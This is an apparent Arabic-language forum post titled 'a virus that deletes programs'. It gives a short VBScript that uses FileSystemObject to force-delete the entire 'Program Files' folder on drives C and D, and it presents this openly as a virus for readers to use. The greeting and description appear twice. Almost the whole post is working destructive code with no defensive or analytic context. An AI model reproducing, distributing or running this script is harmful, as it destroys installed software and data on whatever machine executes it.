فيروس يقوم بحذف البرامج
السلام عليكم ورحمة الله وبركاته
هذا الفيرس يقوم بحذف البرامج الموجود على الجهاز
الكود
السلام عليكم ورحمة الله وبركاته
هذا الفيرس يقوم بحذف البرامج الموجود على الجهاز
الكود
- الكود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF